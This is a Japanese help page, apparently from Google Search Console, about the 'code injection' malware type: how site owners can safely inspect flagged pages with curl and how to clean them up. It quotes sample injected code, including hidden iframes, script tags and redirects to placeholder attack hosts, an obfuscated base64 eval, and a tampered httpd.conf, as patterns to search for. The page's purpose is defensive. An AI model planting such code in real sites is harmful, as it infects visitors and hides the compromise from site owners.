マルウェアの感染タイプ: コード インジェクション

Google Search Console でマルウェアの感染タイプが「コード インジェクション」と表示されるページがありますが、どのような意味ですか?

これはサイト上のページが変更され、マルウェアの不正サイトへの iframe など、悪質なコードが含まれていることを意味します。

マルウェア全般に関して詳しくは、被害を評価する(マルウェアによるハッキング)方法の説明をご覧ください。

「コード インジェクション」のマルウェア タイプはどのように調べればよいですか?

まず、ブラウザを使ってサイトの感染したページを表示するのは避けてください。マルウェアはブラウザの脆弱性を利用して広がる場合が多いため、マルウェアに感染したページをブラウザで開くと、お使いのパソコンに被害が及ぶおそれがあります。

cURL または Wget を使って HTTP リクエスト(ページの取得など)を実行し、動作を確認することを検討します。無料で入手できるこれらのツールはリダイレクトの診断に便利で、リファラーやユーザー エージェントの情報を指定できる柔軟性があります。ハッカーは特定のユーザー エージェントやリファラーを使用するユーザーにのみ悪質なコンテンツを配信して、「実在のユーザー」を狙い、サイト所有者やマルウェア スキャナから検出されるのを避けようとします(これらのツールを使用するにはサイトがオンラインである必要があります)。

例:

$curl -v --referer <referer-field> --user-agent "Mozilla/5.0 (
  Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.30 (KHTML, like Gecko) 
  Chrome/12.0.742.112 Safari/534.30" <your-url>
次のように使用します
$curl -v --referer "http://www.google.com" --user-agent "Mozilla/5.0 
  (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.30 (KHTML, like Gecko) 
  Chrome/12.0.742.112 Safari/534.30" http://www.example.com/page.html

次に、ファイルシステムにログインします。「コード インジェクション」に感染した URL に書き込むすべてのリソースを調べます。悪質なコード インジェクションの例を次に示します。

  • 不正サイトへの iframe
  • <iframe frameborder="0" height="0" src="http://<attack-site>/path/file" 
      style="display:none" width="0"></iframe>
  • 不正サイトのスクリプトを呼び出して実行する JavaScript または他のスクリプト言語
  • <script type='text/javascript' src='http://malware-attack-site/js/x55.js'></script>
  • 不正サイトにブラウザをリダイレクトするスクリプト
  • <script>
      if (document.referrer.match(/google\.com/)) {
        window.location("http://malware-attack-site/");
      }
    </script>
  • 検出を避けるためにわかりにくくした悪質なコード
  • eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));
  • 元は無害なスクリプトに有害なコードをランダムに書き込むように設計された共有オブジェクト ファイル
  • #httpd.conf modified by the hacker
    LoadModule harmful_module modules/mod_harmful.so
    AddModule mod_harmful.c

サイトに存在する有害なおそれのあるコードをすべて調べます。iframe コードを見つけるには、「iframe」などの単語を検索すると便利です。他にも「script」、「eval」、「unescape」がキーワードとして役立ちます。たとえば Unix ベースのシステムでは、次のコマンドを実行します。

$grep -irn "iframe" ./ | less

マルウェア タイプが「コード インジェクション」のサイトをクリーンアップするには、どうすればよいですか?

サイトをクリーンアップする準備ができたら(ハッキングされたサイトの復旧プロセスに関するヘルプのステップ 7)、影響を受けたファイルを正常な最後のバックアップで置き換えるか、各ページのコード インジェクションと、関連するすべてのスクリプト関数やファイルを削除できます。サーバーの設定ファイルを変更した場合は、変更を有効にするためにウェブサーバーを再起動する必要があります。

悪質なコードを削除しても、ハッカーによるサイトへの最初の侵害を許した根本的な脆弱性に対処したことにはなりません。根本原因を修正しなければ、サイトは今後再び侵害されるおそれがあります。このマルウェア タイプだけでなく、サイト全体のクリーンアップについて詳しくは、ハッキングされたサイトに関するヘルプの、特にステップ 5: 被害を評価する(マルウェアによるハッキング)の「ファイルシステムの被害の評価」をご覧ください。

この情報は役に立ちましたか?
改善できる点がありましたらお聞かせください。